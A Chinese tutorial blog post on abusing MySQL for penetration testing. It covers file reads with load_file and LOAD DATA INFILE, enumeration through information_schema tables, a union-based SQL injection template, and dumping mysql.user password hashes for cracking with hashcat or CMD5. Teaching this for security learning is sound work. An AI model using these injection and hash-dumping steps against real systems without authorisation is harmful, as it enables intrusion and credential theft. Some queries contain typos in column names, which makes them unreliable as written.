前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MySQL系统表的利用姿势(浅探)

MySQL系统表的利用姿势(浅探)

作者头像
Mirror王宇阳
发布2020-11-12 11:12:10
6810
发布2020-11-12 11:12:10
举报
文章被收录于专栏:Mirror的技术成长

MySQL数据库文件读写

权限要求:
  • 具备读写权限并且目标文件为可读内容
  • 目标内容具有完整路径且目录可访问
  • 目标内容是否具备文件读写操作权限 查看是否有文件读写权限
代码语言:javascript
复制
show variables like '%secure%'; 

secure_file_priv 绝对文件读取的功能 ​ null:不允许任何导入导出 ​ ./[url]:导入/导出操作只可以在./[url]路径下进行 ​ :空内容;导入导出无限制 在my.ini文件中,修改secure_file_priv属性值可以修改导入导出权限

确保具备文件导入导出权限后即可进行文件读写操作~~~

读写文件:

数据库表读取文件中的内容并保存~

load_file:
代码语言:javascript
复制
load_file(<[./url/]file>);

load_file 在指定的目录下创建文件

首先我们需要在/var/lib/mysql-files/创建一个文件user.txt $ vi /var/lib/mysql-files/user.txt user.txt: Hello,World!

代码语言:javascript
复制
create table file(
    id int not null auto_increment primary key,
    file_url text
)engine=innodb default charset=utf8; -- 创建表file

insert into file(file_url) values (load_file('/var/lib/mysql-files/user.txt'));
代码语言:javascript
复制
mysql> select * from file;
+----+---------------+
| id | file_url      |
+----+---------------+
|  1 | NULL          |
|  2 | Hello,World!  |
+----+---------------+
2 rows in set (0.00 sec)

文件中的数据内容就这样写入了数据表中!

load data infile:
代码语言:javascript
复制
load data infile '/var/lib/mysql-files/name.txt' into table file(file_url);
代码语言:javascript
复制
mysql> mysql> select * from file;
+----+---------------+
| id | file_url      |
+----+---------------+
|  1 | NULL          |
|  2 | Hello,World!	 |
|  3 | Hello,World!  |
+----+---------------+
3 rows in set (0.00 sec)
注入利用:

我们可以通过前期的渗透手段和分析得知目标网站某处存在SQL注入漏洞;于是我们就可以利用SQL的文件读取的特性来读取目标系统中的某个文件的内容

MySQL数据库系统表

MySQL在刚刚初始化后,默认有三个系统默认库:

代码语言:javascript
复制
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)

这些事MySQL数据库自带的三个基本的系统库

information_schema:   其中保存有MYSQL所维护的所有数据库信息,包括库名、表名、表列、权限……等信息 performance_schema:   用于收集数据库服务器的性能参数 mysql:s   保留mysql的账户信息、权限、存储过程、event、时区等配置信息

information_schema库:

information_schema 库通常保存由数据库的元数据:

​ 数据库名,表名,列的属性、类型、访问权限等等……

information_schema库中有许多重要的系统表,可以为渗透过程中提供帮助!

SCHEMATA表:库信息

提供了当前MySQL所有库的信息,show databases;的结果就是据此而显示~

tables表:表信息

information_schema.tables 表中提供了表的详细信息

代码语言:javascript
复制
select <列名> from information_schema.tables;

table表中主要记录了数据库中所有表的元数据,例如表名、类型、引擎……

在渗透过程中,如果我们掌握到这张表就可以掌握数据库的大概的表

COLUMNS表:字段信息

information_schema.COLUMNS表中提供了表中字段信息

代码语言:javascript
复制
select COLUMN_NAME,DATA_TYPE,IS_NULLABLE,COLUMN_DEFAULT 
from information_schema.COLUMNS
where table_name = 'user';

查询user表中的字段名信息

STATISTICS表:索引信息

information_statistics表中提供表的索引信息内容

TRIGGERS表:触发器信息
VIEWS表:视图信息
USER_PRIVLEGES表:用户权限表

信息源自于mysql.user授权表;里面保存着数据库每个账户具备的权限信息

SCHEMA_PRIVLEGES表:方案(库)权限表

信息源自于mysql.db授权表,保存着数据库的权限的信息

TABLE_PRIVLEGES表:表权限表

信息源自于mysql.tables_prive授权表,保存所有表信息的权限

COLUMNS_PRIVLEGES表:列权限表

信息源自于mysql.columns_prives授权表,保存表列的权限信息

CHARCTER_SETS表:字符集表

提供mysql所有相关的字符集信息

使用系统表注入

*在SQL注入中union联合注入是最为常见的

img
img

普遍的情况下,使用union语句实现联合注入(回显注入)……

代码语言:javascript
复制
' union <SQL语句>; # 

现在简单的举例几条SQL语句实现核心的条件查询

MySQL注入查询SQL:
查当前 库名:
代码语言:javascript
复制
select 1 , database();
查库 SQL语句:
代码语言:javascript
复制
select schema_nam from  information_schema.schemata;
查表 SQL语句:
代码语言:javascript
复制
select table_name from information_schema.tables where table_schema = "<databases_name>";
查列(字段) SQL语句:
代码语言:javascript
复制
select columns_name from information_schema.columns where table_name = "<tables_name>";

顺带一提~SQL盲注

上面说的SQL注入是基于页面有“回显”的注入(回显注入

如果页面没有回显,那么就需要进行“盲注入”

hash破解*

获取管理员hash:
代码语言:javascript
复制
select user,password from mysql.user;
破解hash:

推荐神器:hashcat

推荐网站:CMD5(本例使用CMD5网站破解)

成功解出密码……_!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-10-10 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • MySQL数据库文件读写
    • 权限要求:
      • 读写文件:
        • load_file:
        • load data infile:
      • 注入利用:
      • MySQL数据库系统表
        • information_schema库:
          • SCHEMATA表:库信息
          • tables表:表信息
          • COLUMNS表:字段信息
          • STATISTICS表:索引信息
          • TRIGGERS表:触发器信息
          • VIEWS表:视图信息
          • USER_PRIVLEGES表:用户权限表
          • SCHEMA_PRIVLEGES表:方案(库)权限表
          • TABLE_PRIVLEGES表:表权限表
          • COLUMNS_PRIVLEGES表:列权限表
          • CHARCTER_SETS表:字符集表
        • 使用系统表注入
          • MySQL注入查询SQL:
      • hash破解*
        • 获取管理员hash:
          • 破解hash:
          相关产品与服务
          云数据库 SQL Server
          腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档